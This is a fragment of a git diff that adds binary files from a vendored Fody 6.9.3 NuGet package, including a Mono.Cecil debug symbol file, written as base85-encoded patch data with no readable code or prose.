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 X&!IYR1;USZ{gX|>?*#vU$btU@s@y6c literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb new file mode 100644 index 0000000000000000000000000000000000000000..a4aed8b812d02356b747c6c45b310ed33659b43a GIT binary patch literal 193236 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 